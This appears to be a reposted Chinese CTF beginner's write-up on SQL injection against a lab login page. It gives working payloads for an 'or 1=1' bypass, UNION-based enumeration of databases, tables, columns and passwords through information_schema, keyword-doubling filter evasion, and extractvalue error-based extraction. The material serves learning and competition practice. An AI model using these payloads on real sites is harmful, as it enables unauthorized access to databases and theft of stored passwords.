欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CTF入门笔记之SQL注入(1)

程序员文章站 2022-03-09 22:29:44
...

利用information_schema数据库来进行sql注入。

1.最基础的 万能密码获得flag

CTF入门笔记之SQL注入(1)

payload:check.php?username=1%27+or+1%3D1%23&password=1

CTF入门笔记之SQL注入(1)
直接拿到flag。

2.无过滤 运用information_schema数据库
CTF入门笔记之SQL注入(1)
万能密码可以登录,说明可以无过滤。

查看数据有几条

payload:check.php?username=1' order by 4%23&password=1

CTF入门笔记之SQL注入(1)
说明有三条数据

然后爆数据库名

payload:check.php?username=1' union select 1,2,database()%23&password=1

CTF入门笔记之SQL注入(1)

得到数据库

然后爆表名

payload:check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

CTF入门笔记之SQL注入(1)
得到表名

爆字段名

payload:check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

CTF入门笔记之SQL注入(1)
然后爆内容!

payload:check.php?username=1' union select 1,2,group_concat(password) from l0ve1ysq1%23&password=1

CTF入门笔记之SQL注入(1)
这里因为我知道flag在password,所以我只爆了password的内容,当然可以id,username,password都爆出来。

得到flag。

3.双写绕过过滤的注入

发现万能密码会报错,考虑有过滤,双写试一下,发现可以

payload:check.php?username=1' oorr 1=1%23&password=1

CTF入门笔记之SQL注入(1)
然后接下来就可以按步骤来了 爆数据库名-爆表名-爆字段名-爆内容。

爆表

payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()%23&password=1

CTF入门笔记之SQL注入(1)
爆表

payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'%23&password=1

CTF入门笔记之SQL注入(1)
爆内容 得flag

payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1

CTF入门笔记之SQL注入(1)
需要注意的是,因为or关键字被过滤了,所以information,password虽然不是关键字,但其中的or还是要双写的。

4.用extractvalue绕过过滤(报错注入)

爆数据库

payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(database()))))%23&password=1

CTF入门笔记之SQL注入(1)

爆表

payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))%23&password=1

CTF入门笔记之SQL注入(1)

爆字段

payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23&password=1

CTF入门笔记之SQL注入(1)
爆内容(password)

payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23&password=1

CTF入门笔记之SQL注入(1)
但是extractvalue函数返回值是有字数限制的,所以我们只能看到左边一部分,然后用right函数看右边的

payload:check.php?username=1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),35))%23&password=1

CTF入门笔记之SQL注入(1)

拼接一下得出flag为
flag{4073118d-2919-4563-9ac1-6be41c66a852}

相关标签: 笔记 sql